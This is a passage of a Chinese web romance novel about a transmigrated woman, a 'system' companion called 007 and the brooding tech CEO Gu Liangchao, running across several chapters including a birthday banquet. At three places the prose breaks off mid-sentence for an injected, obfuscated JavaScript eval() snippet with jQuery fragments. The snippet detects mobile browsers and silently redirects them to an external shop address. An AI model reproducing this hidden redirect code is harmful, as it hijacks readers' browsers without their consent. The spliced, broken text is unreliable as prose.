顾良朝久不回话,那人有些急躁,“你现在是春风得意了,你可别忘了,当初是我让你去找她的。”
顾良朝眸色变冷,“所以我没计较你让沈绣去找她的事不是吗?”他语气森寒,带着沉甸甸的威胁,“在我把一切弄清楚之前,你最好管好你的人。”
“......最后一次,你帮我这回,我们两清。”那边传来冷静的声音。
苏禹成端着一杯香槟,悠悠地穿过回廊,忽然眉梢一挑。
“在这儿做什么呢?”
苏若锦脸色冷沉的转头,手里攥着一部手机。
看到是他,迅速调整好表情,“哥。”
苏禹成微笑着走过来,“碰到麻烦了?”他伸手摸摸苏若锦的头,“看你脸色不太好的样子。”
“没有。”苏若锦摇头。
有些事情,她必须自己去做,也只能自己去做。
“那就好,有什么烦心事可以跟哥说。”他笑了笑,目光温柔,“你是我唯一的妹妹,我会尽我所能地帮你。”
“我知道的,谢谢哥。”
......
程知也看着电脑上的网购页面。
时代更迭,各行各业都选择与更为方便快捷的互联网相融合,土特产行业也有了更便利远距离顾客的网购,只不过需要产品挑选上下点功夫。
答应了顾良朝,程知也一向言出必行,不仅要做到,还要求做好。
挑了一下午,选了次日达的顺丰速递,程知也按揉着酸溜溜的脖颈。
都回来快一个月了,任务进展还是未知。
也不知道007什么时候能解除禁闭。
看了眼时间,程知也让小助理提前下班,自己开车回家。
她的房子里一向没什么秩序感,反正只有她自己住,东西找不到,多翻几遍就行。
换了拖鞋,程知也径直走到书柜前,拿起那枚小苹果摆件。
没什么特别的,剧情重置之前,007问她有什么想带走的,她想了想,只拿了这个摆件,其余东西应该都被007默认销毁了。
程知也回想起那天顾良朝看向这个摆件时不寻常的眼神。
......应该不太可能吧?
她一向相信007的专业能力,不认为会存在记忆没清理干净的特殊情况。
白月光。
程知也眼前一亮。
黑化诱因的头号嫌疑人,顾良朝这边先不过多干涉,007回来前,她可以先接近那位白月光,等到能看见顾良朝的黑化值了,她好双管齐下,事半功倍。
掏出手机,程知也上下翻了翻寥寥无几的几个联系人。
【哈喽,在忙吗?】
宋怀仙正打着游戏,手机屏幕亮了一下,看清是谁,他立刻挂机拿起手机回消息。
宋仙仙子:【不忙不忙,找我什么事儿呀?】
【想找你打听下,顾良朝有没有什么关系比较‘特别’的女性好友呀?】
关系特别?
宋怀仙盯着这几个字想了一会儿。
宋仙仙子:【没有吧,从高中毕业到现在,他也就跟苏家的苏若锦偶尔有点联系,不过最近好像都没怎么联系了。】
【好,谢谢你。】
程知也关掉手机。
这么说来,顾良朝跟苏若锦一直都有联系,但是又没有在一起。
难不成,那个白月光,说的就是她?
也是,苦苦暗恋了那么多年,却始终只能以普通朋友的身份相处,完全有黑化的理由。
手机振动两下,顾良朝分过一点眼神去看。
宋怀仙:【她刚才找我问了你的事。】
他放下手里的策划书,滑开微信页面。
【问了什么?】
【问你有没有红颜知己。】
又补上一句:【大概率是要追你。】
【......】
【你怎么跟她说的?】
宋怀仙嘿嘿笑两下:【当然是如实说,你和苏若锦之间,‘不一般’的合作关系。】
顾良朝盯着聊天界面,手指摩挲着手机边缘。
【然后呢。】
【然后就没有了。】
他顺手把手机一扔,伸手揉了揉太阳穴。
......
程知也被一道灼热的阳光晒得睁开了眼睛,环顾四周,自己竟站在熟悉的街道上,场景是她记忆里第一次来到这个世界看到的模样。
难不成她又回到了五年前?
正想着,从头顶上方传来一道熟悉的声音,像是深山林中汩汩流过树丛的泉水。
“借过。”
程知也转过身,入目是一件质感极好的粉色衬衫,领口处只系上一枚扣子,顺着突出而优越的喉结线条向上,双唇浅红,鼻梁高挺而精致,睫毛遮住阳光,在眼下投射出一片扇形的阴影,然后,她撞进了一道凉如夜色的眼神中,让她不由得联想到夜晚投射在湖面的皎洁月光。
程知也满身满心的燥热忽然静了下来。
让开一步,那人和她擦肩而过,鼻尖嗅到一阵松木香。
一模一样的场景,就连这个香味都和记忆里如出一辙。
她低头看着身上的一中校服。
抬起头来,画面顿时变换,房间里,她盘腿坐在地上,挑了个又大又红的苹果递给顾良朝。
他接下苹果,语气复杂:“我拒绝和你成为朋友。”
程知也咔嚓咔擦地啃着苹果,心里的玻璃碎了一地。
“我们现在算关系还行的陌生人。”他又补充道。
程知也站起身来,场景又变成了一片绿油油的草地,耳机里放着当下最流行的歌曲。
她转过身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284288|198420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,顾良朝平躺在草地上,晒着阳光,一条腿屈起,呼吸均匀而悠长,看起来像是睡着了。
程知也给他盖上毯子,在他身旁坐下,静静地看着相邻山上与此刻高度平行的道观。
道观外骤然下起了大雪,几条蜿蜒着大小不一的足迹很快被更深的雪白覆盖。
程知也背对神像站着,身体控制不住的发抖。
“......你问我的问题,我现在告诉你答案。”苏若锦声音发紧,艰难地开口道。
“假如有一天我和沈绣的关系又回到了原地,像你说的那样,造成这一切的原因是你,”她往前走了一小步,“事在人为,重来一次,我依旧有十足的把握能抓紧她,而你永远都是我的朋友。”
顾良朝嘴唇颤抖,转过头恶狠狠地看着她,“你闭嘴!”
“程知也,”。”他眼眸通红,嘴里说着威胁的狠话,眼神却近乎哀求,“你敢离开,我发誓哪怕到死,我也一定会找到你,你最好有承接后果的能力。”
找不到的。
程知也死死地掐着手指,一阵赛过一阵的尖锐警报声炸得她脑子快要爆炸,007不停催促着她,她竭尽所能,保持着最后一分钟的清醒望向那个临近崩溃的人。
“......相信我......我们会再见面的。”
“——我——恨——你”
!——
程知也猛地从床上坐起来,不断调整着急促的呼吸。
抽了张纸随意地擦了擦额头上的汗,程知也心有余悸的拍了拍胸口顺气。
真是见鬼了,好端端的居然又梦到了以前的事情。
拿过手机看了眼时间,她居然一觉睡到了中午十二点。
最新的一条短信显示,快递已送到GC科技,前台代为签收。
解决了一件事,她心里终于有点轻松的感觉。
......
刘特助抱着一个巨大的纸箱走进专用电梯,直达顶楼。
走到总裁办公室门口,旁边的秘书跑过来帮他敲响了门。
“进来。”
顾良朝手里还拿着一个小喷壶,看到他手上的纸箱,径直朝他走过来。
黑枸杞礼盒、桂花蜜、红曲酒酿,还有两盒纯手工粽子,塞满了整个箱子。
看得出寄件人搭配的用心,甚至还提前考虑到了即将到来的端午节。
“还有事?”顾良朝眼神轻飘飘地移过来,刘特助后心一凉,赶紧离开。
关门时眼神不经意间掠过办公桌,他猝然睁大了双眼。
总裁办公室总是庄严肃穆的,像是一座永远不会停止会议的宫殿,越是这样单调压人的环境,桌上那一抹亮色就越显突兀。
浅紫色的花朵还没完全绽放,明明就只是静静地立在那儿,却仿佛能闻到散发出来一阵浅淡的清香,莫名有种吸引人的魔力。
顾良朝拿过手机,对着纸箱拍了张照,点开跟程知也的聊天界面:
【图片】
【快递收到了,多谢你。他们一定特别喜欢。】
【转账:60000元】
那边却很久没回。
顾良朝指尖停顿良久,随后将纸箱合上。
天气晴朗,在有荫凉的水边放上一支鱼竿,躺在摇椅上就这么睡一下午,真是惬意。
程知也许久没有过这么悠闲的午后时光,直至天色暗下来,她才收拾工具准备回家。
她手里提着空空如也的鱼桶,脚步深深浅浅地低着头往回走。
快走到车旁才想起来看手机,看到顾良朝的转账金额,她惊讶地挑起眉头。
原来做土特产代购这么赚钱,比塔罗牌容易多了。
她感叹两秒,干脆地收了转账,揣起手机。
刚抬起头准备继续走,像是看到什么,程知也忽地睁大了眼睛。
8. 生日宴
洗了个热水澡,沈绣心满意足地趴在床上玩着手机。
苏若锦端了杯热牛奶径直走进来,还没说话就先接到一记眼刀。
她动作一顿,熟练地退出门外,抬起手敲了敲门。
“进来吧。”沈绣从床上坐起来,歪着头看着她。
苏若锦笑着走近,把牛奶递到她手边,“喝了再睡。”
沈绣接过杯子,边喝边看她。
“我脸上有什么东西吗?”苏若锦有些不自然地摸了摸脸。
“你是不是又干什么坏事了?”沈绣狐疑地看着她,语气笃定地问道。
前两天还一副愁容不展的样子,今天突然变得美滋滋,一脸高兴的模样。
苏若锦失笑道:“你从哪儿看出来的?”
她没否认沈绣说的话。
见沈绣一直盯着她,苏若锦正色坦白道:“也算不上什么坏事,从受害程度上来说,顶多会让某个人感情上受点挫折。”
“‘某个人’?”沈绣瞪大眼睛质问,“是你哪个小情人吧?”
苏若锦伸手捏住她气鼓鼓的脸颊,温声解释:“是你最讨厌的人。”
闻言,沈绣眼睛突然亮了起来,一脸兴奋地凑近,“真的假的?”
苏若锦伸手揉揉她的脑袋,“真的。所以你要好好吃饭,好好休息,下周就要回A大授课了。”
沈绣连连点头。
......
已经是五月末端,夜风带着凉意刮进温暖的卧室,将温度吹散了几分。
顾良朝起身把窗户关严,重新坐回到电脑桌前。
除了一条转账已被接收的提示,聊天界面空空荡荡。
他关了手机,起身冲了一杯桂花蜜水。
难得度过了一个无梦的夜晚,顾良朝早上起来的时候精神状态相当不错,心情也久违的好了起来,想到要回老宅也没那么抵触了。
顾良朝理所当然地把这一切都归功于睡前的那杯桂花蜜水。
他拿起手机,给刘特助发了条消息。
阳台新搬来一窝燕子,一大早就开始叽叽喳喳地叫。
程知也翻了个身,刚拉过被子蒙住头,手机嗡嗡振动两下,她的睡意也跟着消散。
她伸手够到床头柜上的手机,半睁着一只眼,打开微信。
一条最新的消息:
【考虑好了吗?】
程知也睁开双眼,指尖轻敲手机,思考两秒,给了对方回复:
【考虑好了。】
【我接受你的邀请。】
......
天气晴朗,阳台上的花开得正好,一簇接着一簇地在太阳底下摇晃。
顾良朝一早就回了老宅,好在顾父更早地去了公司,没影响到他难得的好心情。
“良朝,”顾母端着刚泡好的蜂蜜水朝他走过来,“来陪我浇浇花。”
顾良朝从躺椅上坐起来,拿过一旁的喷壶走到顾母身旁,依次给花浇水。
顾母保养得很好,四十多岁的年纪眼角还看不出什么细纹,姿态优雅,捧着杯子浅浅喝了一口,脸上是慈爱的笑容,“良朝啊,这么正宗的桂花蜜A市很难买到吧?早上王管家搬了满满一箱进来,把我吓了一跳。”
顾良朝像是想到了什么有意思的事情,勾起嘴角,边浇水边回她:“一位朋友帮忙买的,这方面她很有经验。”
顾母笑眯眯地盯着他:“新朋友啊?有时间请他到家里来吃顿饭。”
“再说吧,她应该没什么空,平时都不怎么回消息。”顾良朝语气平淡。
“这样啊。”顾母语气有些遗憾,她还挺想见见顾良朝的这位新朋友呢。
......
沈绣一脸困倦,目光呆滞地坐在床上。
打了个哈欠,她乱七八糟地揉了把像鸡窝一样的头发,头脑混沌地从床上爬起来,东摇西晃地走到卫生间洗漱。
一抬头,跟镜子里的自己来了个深情的对视。
就她这不修边幅、邋里邋遢的鬼样子,苏若锦要真带她回去才是不合常理。
沈绣胡乱抹了把脸,思考着今天该做点什么来打发时间。
......
生日宴就设在苏家老宅,整体色调以象牙白为主,装修风格偏向欧式复古庄园,由内而外散发着奢华的气质。
程知也穿了一条黑色方领的缎面礼裙,长度刚好到小腿中部,耳饰是一对袖珍珍珠耳钉。
她刚走到迎宾区就看到了赵瑾晔。
难得今天没抽烟,看样子还精心打扮过,头发梳成一个精致的发型,穿了一身粉色西装,见到人就露出一个自信满满的笑容。
程知也很不想跟他当面碰上,刚进主会场就径直往另一边的调酒台走去。
跟调酒师要了杯度数低的鸡尾酒,她便在凳子上坐下,目光专注地盯着调酒师调酒。
“您的酒。”调酒师把酒轻推到程知也面前。
“一杯威士忌,谢谢。”一道温润的男声在身旁响起,程知也偏头看了过去。
那位男士相貌不凡,穿着一身十分考究的西装,察觉到程知也的目光,朝她微微点头致意,随后在程知也左侧第三枚凳子上坐下。
气质儒雅,姿态得体。
程知也收回目光。
主会场内气氛正浓,调酒区反倒成了难得的清净地。
程知也享受着安静的氛围,怡然自得地端起酒浅浅啜了一口。
“以龙舌兰为主的Margarita最具辨识度,是经典中的经典,去掉这一味引子,味道就可能天差地别。”那位男士面带微笑开口道。
程知也语气没什么起伏:“有吗?我反倒觉得,没了烈酒的干扰,青柠的香气会更容易被激发出来。”
那位男士目光沉静,仿佛思考了两秒,笑着说:“确实如此,是我拙见了。”
“洛总,”苏若锦端着一杯红酒过来,笑容温和地说:“好久不见,多谢你能赏光来参加我的生日会。”
“苏小姐太客气,”他站起身来,跟苏若锦短暂碰杯,说:“生日快乐,祝苏小姐岁岁有今朝。”
苏若锦笑着道谢,扭头看向旁边的人,温声道:“你来了。”
程知也点头,朝她举了个杯:“生日快乐。”
“谢谢。”她笑着说,“一会儿在庭院里有烟花秀,感兴趣的话可以去看看。”
“一定。”洛总侧过身,眼神不经意地看向程知也。
......
书房内一片宁静。
“人老了,字也写得歪七扭八,不像样子。”苏老爷子感叹地放下毛笔。
长桌上摆放着一副字迹未干的书法作品,字体苍劲有力。
“这字气韵十足,功底深厚,可见老先生自谦之辞,做不得真。”
顾良朝这话说得甚是令人心舒,苏老爷子笑弯了眼,“你净会哄我开心。”
他绕过桌子,带顾良朝一一观看近期的几副作品。
“要说字画功夫,你爷爷那才是让人望尘莫及,我这算是业余的了。”他扭头对顾良朝道,“更何况,他还有你这么个有出息的孙子,我是真心羡慕啊。”
顾良朝笑着回道:“老先生谬赞了,禹成哥只是志不在此,论才学和阅历,我得叫他一声前辈。”
苏老爷子张口正要说什么,就被敲门声打断:
“爷爷,该切蛋糕了。”苏若
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284289|198420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
锦站在门外说。
苏老爷子便笑着对顾良朝说:“你跟若锦去吧,我年纪大了不爱凑这些热闹。”
顾良朝走出房门,扭头看到苏若锦竟然还在门口。
他顺着长廊径直走出小院,苏若锦跟在他身后。
“你刚才跟我爷爷说什么了?”她主动开口问道。
“想知道?”顾良朝停下脚步,转过身来,神情变得冷淡。
“那你呢?怎么突然喜欢上了钓鱼?”
苏若锦表情一滞,有些不可置信地问道:“你跟踪我?”
“我还没那么闲。”他语气淡淡。
苏若锦当即反应过来,失笑道:“你竟然用这种方式来求证?你就不怕她知道后会跟你翻脸吗?”
顾良朝突然就没了好好说话的耐心:“我只在乎结果,其余的对我来说都无关紧要。”他拧着眉,“你最好安分点。”
“放心吧,我说的都是些无关紧要的事,绝对不会影响到你的计划。”苏若锦耸了耸肩道。
“......最好是这样。”顾良朝语气幽深地看着她,眼神隐隐带着威胁。
他转身要走,苏若锦突然道:“还有一件无关紧要的事,”她露出一个狡黠的笑容,“就在刚刚,有一位绅士用一个三千万的单子跟我做生意,表明想知道某人的名字。”
顾良朝转过身来,语气相当无所谓地说:“你很闲吗?”
苏若锦笑了笑:“也许吧。”
......
程知也半个身子都靠在内阳台的栏板上,低头看着下方的人群。
“怎么一个人躲在这儿?不去看烟花吗?”苏若锦笑着走过来。
“专门为寿星准备的烟花,苏小姐自己都不去看看吗?”她举杯跟苏若锦碰了一下。
苏若锦笑着摇头,跟她一起靠在栏板上,语气幽幽:“那可不是为我放的烟花。”
会场里觥筹交错,交际往来的人群一拨接着一拨,生日宴的本质从来都不是生日宴。
程知也没搭话。
原著里对苏家的描写不多,苏承宗也是直到结局才出现。
“跟你说件事。”苏若锦把三千万单子的事情告诉了程知也,好奇她会有什么样的反应。
可程知也只是低头轻笑,有些不可思议。
“下回再有这样的人,还请一定告诉我。”
苏若锦毫不意外,问道:“你打算亲自把红酒泼到他脸上吗?”
程知也笑得更加开怀:“我看起来像是那么暴躁的人吗?”她缓了缓,说:“下次再遇到这样的事,你就编一个外国人的名字,连名带姓加中间名,一口气打包卖给他。”
苏若锦有些被这个奇异的想法给惊到,随后很快的在心里接受了这个提议:“听起来似乎还不错,下回试试。”
程知也偏头看她一眼,语气认真地说:“苏小姐年纪轻轻就懂得一股脑地把心思放在事业上,当真令人佩服。”
苏若锦垂下眼眸,掩去眼底的思绪:“圣人也会有私心的,更何况......程小姐高看我了。”
程知也点点头,便不再说话。
烟花秀结束,人流又缓缓回到主会场内,侍者推着一个超大型蛋糕走到会场中心。
“该切蛋糕了,”苏若锦身体离开栏板,问道:“要一起下去吗?”
程知也摇头。
“行吧。”苏若锦仰头将杯里剩下的红酒一饮而尽,转身下楼。
人群熙熙攘攘,程知也没了观看的兴致,直起身子从侧边楼梯走了下去。
庭院里没什么人,程知也仰起头满意地呼吸着空气。
鞋子踩过草地的声音由远及近,她神情微动。
9. 旧人新友
见她好像没察觉到身后有人,顾良朝没忍住轻咳一声。
程知也好像真的被吓到,眼神慌乱地快速转身,语气惊讶:“顾良朝?”
她心有余悸地拍拍胸口:“原来是你啊。”
顾良朝沉默两秒,垂眸看她:“抱歉。没想到会在这儿碰到你。”
程知也笑着摆摆手,问道:“很意外吗?”
“有点。”他如实承认,“你跟苏小姐以前认识?”
程知也摇头,眼睛亮亮的说:“是新朋友,我们钓鱼认识的,她觉得跟我聊天很开心,就邀请我来参加她的生日宴。”
“是吗?”顾良朝眸光晦暗不明,“那你们一定聊得很投机。”
程知也笑而不语。
赵瑾晔摇晃着酒杯,一脸烦躁地从会场门口走了出来。
为了给苏若锦一个惊喜,他早早就拍下一件首饰,想要借此博她好感。
可任凭他怎么殷勤讨好,苏若锦始终不搭理他,赵瑾晔自讨没趣,只能先出来透透气。
忽然,他眼神一定,目光紧盯着庭院里的两人。
要不是顾良朝,他也不至于被丢到国外。
正是他被勒令不准回国的那几年,才让顾良朝有了可乘之机。
赵瑾晔虽然人在国外,可关于苏若锦的一切他都了如指掌,这其中自然也包括了顾良朝一直对她纠缠不清。
这次回国,除了追求苏若锦,他还要把被顾良朝抢走的东西给一件一件的拿回来。
赵瑾晔脸色阴沉地看着两人。
“下个周末有时间吗?”顾良朝看着她说,“之前说想介绍你们认识的那位朋友下周正好来A市出差。”
程知也仰头对上他的眼神,心底陡然生出一种异样的不安。
她忽略这种感觉,点头答应道:“好啊,我有时间,正好一起吃顿饭认识一下。”
顾良朝露出一抹轻笑,目光紧盯着程知也毫无察觉的侧脸,眼底情绪变得晦涩难明。
......
送完宾客已经是晚上十一点,苏若锦看了眼时间,匆忙地提起一块打包好的蛋糕准备回去。
“站住。”苏承宗脸上的笑意在进门的一瞬间变得浅淡,他冷声开口问道:“这么晚了,你干什么去?”
苏若锦站在原地,手指不由自主地握紧袋子,目光沉静地跟他对视,“我要回家。”
苏承宗脸上笑意终于消失得一干二净。
“这儿就是你的家,你还打算回哪个家?回你那个荒谬的家?!”
苏若锦呼吸沉重,强迫着自己闭了闭眼,又重新睁开,眼里的怒火被悄悄掩盖,轻声道:“我今天过生日,想回去一趟。可以吗,父亲?”
苏承宗冷哼一声:“你胡闹也要有个限度,赵家那个对你是一门心思,趁他还不知道你那些乱七八糟的事,早点断干净。”
苏若锦眼底暗了暗,强压着情绪,说:“我知道了父亲,我会尽快处理好的。”
苏承宗脸色这才有所好转,也不想把她逼得太紧,于是就摆摆手,默许她出门了。
紧赶慢赶,终于在十二点之前的二十分钟赶回了家里。
别墅还亮着灯,苏若锦走进门,眼神朝佣人示意。
佣人摇摇头。
她抿了抿唇,让佣人都去休息,自己提着蛋糕上楼。
房间门紧闭着,听不到房内有任何声响,但苏若锦知道,她肯定还没睡。
果然,门没上锁,轻轻一推就开。
她提着蛋糕走到床边,“咔嗒”一声将床头的夜灯打开,沈绣瞪着两只大大的眼睛死死地盯着她,眼里满是埋怨和委屈。
苏若锦舔了舔干巴巴的嘴唇,憋了半天冒出一句:“......祝我生日快乐?”
“......”
沈绣心里更憋屈了。
朋友算不上,情人没名分,自己不上不下地卡在中间,等了苏若锦一天,原本该愤怒地指控和埋怨,但在见到苏若锦的一瞬间,她第一眼注意到的竟然是她被风吹乱的头发。
沈绣觉得自己真的是无可救药了。
她从被窝里爬出来,胡乱地伸手给苏若锦理了理头发,接过她手里的袋子打开,又从床头柜的抽屉里摸出一把小蜡烛插上,点燃。
没好气地说:“再不许愿十二点都要过了。”
......
每天早上被闹钟叫醒地一瞬间,程知也都无比想念007。
不管重来多少次她都一定不要再选择这种收入根本不稳定的工作!
怀着满腔怨气,程知也驱车到达工作室。
一下车就被资本的金光给亮瞎了眼——一辆霍希版A8L正正停在工作室门口,车身光洁如斯。
程知也疑惑地越过车子走进工作室。
最近是开始走运了吗?怎么豪车都往她这儿跑?
程知也刚掀开门帘,豪车的主人闻声转过身来,笑容儒雅地说:“又见面了,程小姐。”
程知也脑子里顿时闪过几个金光闪闪的大字。
三千万先生。
她礼貌地笑了笑,说:“洛先生,真是好巧。”
洛琛一本正经地说:“不巧,我就是知道这是程小姐的工作室,所以才特地前来拜访。”
程知也笑着点点头,说:“看来工作室的宣传工作做得很到位,洛先生今天来是想咨询点什么业务呢?”
她让小助理给洛琛续茶,又坐下给自己倒了杯白水。
洛琛在程知也对面坐下,打量着工作室的环境,说:“只是对程小姐的工作有些好奇,想来亲自看看。”
“原来如此。”程知也端起杯子喝了一口。
见她没什么话想说,洛琛主动开口道:“程小姐应该还不知道我的名字吧,我叫洛琛,在深空科技工作。”说着,他拿出一张名片递了过去。
程知也接过来看了一眼,说了声:“原来如此。”
洛琛继续温声道:“程小姐应该我们这个行业不太了解,A市目前的上市公司中有一半都跟科技相关,剩下的几乎都跟科技公司有着合作往来,深空科技在业内是排名第二的公司。”
程知也这才有了表情变化,语气有几分好奇地说:“那第一是谁?”
洛琛笑了笑,说:“是一家新公司,叫GC科技,同时也是近几年来最被业内看好的一家公司。”
程知也点了点头。
她上次离开之前确实听到过顾良朝说想读这方面的相关专业,没想到他成长得这么快,五年时间已经成为行业内的佼佼者。
洛琛又自顾自地说了些跟科技相关的话题,程知也只听不说,很快,工作室内又重新陷入沉默。
心里无奈地叹了口气,洛琛率先提出公司有事要先走。
程知也起身送他到门口。
......
金碧。
顾良朝车刚停稳,经理就赶紧出来迎接。
他径直走到电梯门口,直达顶层包厢。
推开门,谢行渊和慕昭然竟然也在。
见他来,两人不约而同露出一副稀奇的表情。
顾良朝自顾自走到窗边的沙发上坐下,拿起桌上的杯子倒了杯酒。
谢行渊一脸好奇地问道:“怎么今天来,不用去公司吗?”
都知道顾良朝是个工作狂,平时怎么叫都叫不出来的人竟然大周一的跑到金碧来喝酒,还一脸受挫的表情。
慕昭然放下酒杯,问道:“怎么了阿朝?是遇到什么事儿了吗?”
顾良朝摇头。
问不出个所以然,谢行渊拿出手机悄悄给宋怀仙发消息。
宋怀仙才刚睡醒,迷迷糊糊地看手机。
【宋傻子:我不知道啊,阿朝最近都没怎么跟我联系o_o。】
谢行渊抬头看了一眼正在喝闷酒的男人。
“......”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284290|198420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
宋怀仙靠着枕头,想起什么似的忽然睁开眼睛。
【宋傻子:应该是失恋了吧。】
谢行渊差点拿不住手机。
顾良朝?失恋??
宋怀仙肯定是还没睡醒。
谁承想,顾良朝突然开口道:“我经常梦到一个人。”
嗅到八卦的气息,慕昭然突然坐直,跟谢行渊对视一眼。
“我看不清她的脸,但是她给我的感觉很真实。”顾良朝端起杯子又喝了一口。
谢行渊有些结巴地问道:“......然后呢?”
然后,该不会就是一堆不可描述的场景了吧?
“然后......”顾良朝话音微顿,继续道:“我最近认识了一个人。”
慕昭然眼睛一亮,说:“你怀疑她就是你梦里的那个人?”
顾良朝不置可否,说:“对于验证结果,我没有十足的把握。”
这话一出,谢行渊跟慕昭然皆是一惊。
“这要什么把握?”谢行渊神色有些尴尬,“就算她不是,那你也没什么损失,如果她是,你直接追就得了。”
虽然有些扯,但也不无道理。
慕昭然点头认可道:“我觉得阿渊说得有道理,如果那个人真的是你梦到的那个,那皆大欢喜,只差时间,如果不是,”他语气认真地说:“我认识一位很厉害的道士,肯定能驱走你身上的邪祟。”
“......”
“噗——”谢行渊笑得直不起腰来,扭头去看,顾良朝神色变幻,一会儿红一会儿紫一会儿绿的,像是个五颜六色的大染缸。
慕昭然不觉得自己说的有什么问题,伸手掐了谢行渊一把。
“叮——”
程知也拿过手机看了一眼。
【顾良朝:明天下午我来接你。】
【程知知也:OK。】
......
要是可以,程知也真想就穿着睡衣出门。
人类到底为什么要给自己设置那么多的社交礼仪呢?这让穿衣选择困难症的人可怎么活呀?
考虑到是第一次见面,在不知道对方性别的前提下程知也选择了一份无火香薰作为见面礼。
她早早下楼,顺便把垃圾也扔一下,转身就看到一辆熟悉的揽胜停在路口。
顾良朝坐在驾驶位,目光幽深地看着程知也一步步走近。
浪费了这么久时间都没得到他想要的信息,也是时候结束这种毫无价值的试探了。
程知也弯下腰敲了敲副驾驶旁的车窗,问道:“我坐这里吗?”
顾良朝指尖在方向盘上轻敲,目光沉静,沉默着点了点头。
“谢谢。”程知也打开车门坐下。
顾良朝发动车子,不经意地看了一眼她手里提着的纸袋,随口问道:“礼物?”
“是的,”程知也点点头,说:“也不知道你朋友会不会喜欢。”
顾良朝嘴角露出意味深长的笑:“一会儿见了面才知道。”
程知也笑了笑。
顾良朝选的见面地点是一家规格较高的川菜馆,进门服务员将他们直接带到了二楼的包间。
程知也跟在顾良朝身后,边走边抬手理了理衣角。
到了门口,顾良朝突然停住,转身看向她。
?
“怎么了?”程知也疑惑地问道:“是要再等一会儿吗?”
顾良朝目光深沉地看着她,抬手敲了敲门,随后伸手将包厢门由外向内推开,程知也正打算走进门,他募地出声道:“程知也。”
程知也眼神奇怪地仰头看他,语气疑惑地问道:“干嘛?”
与此同时,一道清脆的女声骤然在她耳边响起,如同惊雷一般将她劈开:“你就是顾总说的朋友吧?”那个女生戴着一副圆框眼镜,笑容和善地站在门口,朝她伸出手道:“你好,我叫程霜,你也可以叫我以前的名字——程知也。”
11. 专属球友
程知也看着镜子里的自己,眼神坚定。
“007,你能让我看到顾良朝对我的好感度吗?”
“没问题~”
等了几秒,程知也眼前就出现了两行光标,红色的黑化值,粉色的好感度。
红色依旧是99,粉色目前是1。
程知也一脸感动地看着还没指甲盖长的好感度,下定了决心。
原著外的副本已经正式开启,她势必要完美的完成这个任务!
趁这一点好感度还没有消失,程知也打算另辟蹊径,先把好感度刷上去再说。
说干就干,她让007找了顾良朝近五年来的所有相关资料,最终决定从那位神秘的“白月光”下手。
既然顾良朝等了这么多年都没等到,想必白月光只存在于高中情节里。
纸片人怎么会想到“设定”这一说呢?
.......
程知也一早到了公司,发现苏若锦竟然也在。
“这么早?”她放下包走过去,说:“放心吧,一切有我看着。”
苏若锦笑了笑,问她:“如果有天你发现我利用了你,你会不会生气?”
程知也无所谓地耸肩,道:“我有什么可利用的?”
苏若锦认真地看着她,说:“想不想听听我和顾良朝之间的事情?”
程知也这会儿巴不得多收集些情报,满眼期待地搬了个凳子,做出一副洗耳恭听的样子。
“我跟顾良朝是高中同学,同校不同班,刚开始两年并不熟悉,听父亲说,他是顾氏集团的独子。”苏若锦像是在回忆,语速缓慢,“高三那会儿,我们突然有了更多联系,至于是怎么熟悉起来的,我记不太清了。”
程知也知道她说的是什么,那时候她为了完成让男二上位的任务,制造各种机会让男二和女主见面,有关她的那部分记忆被清除后,男二和女主自然成为了好朋友。
“但是我们关系并不好,”苏若锦笑了下,说:“更像是一种利益合作关系。
B市下第一场雪的那天,他昏倒在凤凰山上的道观里,是我打电话报的警。醒来后他就一直做着重复的噩梦。”
她无奈地说:“再后来,他的初恋消失不见了,他觉得是我的原因。”
程知也忍不住开口道:“分手是他们两个人的事,跟你有什么关系?”
可苏若锦却有些愧疚地说:“我也觉得,那个女孩子的离开跟我有关系。”
程知也张了张嘴,一时不知道该怎么说。
“这么多年,我一直在帮他找,可是一点消息都没有,”她忽然转过头看着程知也,说:“直到你出现。我以为我的感觉是对的,可目前看来又是一条错的讯息。”
程知也忽然问道:“是你让顾良朝来找的我?”
苏若锦点头,道:“我当时只是抱着试试看的想法,或许就蒙对了呢?”
意识到自己这话很不对,她语气诚恳地向程知也道歉:“对不起。”
宋怀仙那天突然跑来问顾良朝的近况,她就大概猜到了一些。
程知也憋着一口气半天没出来,半晌,问道:“你现在没有什么事要再利用我了吧?”
再来一次那天一样的试探,程知也真的要承受不住了。
苏若锦赶紧保证:“没有了,我找你真的只是单纯想合作而已。”
程知也松了口气,要是苏若锦再想出点别的整她的法子,她真的是应付不来了。
隔了会儿,她忽然摸着自己的脸,语气诡异地问道:“我跟那位,长得很像吗?”
“......”
苏若锦仔细想了想,结合顾良朝不同于以往的试探,说:“应该是的。”
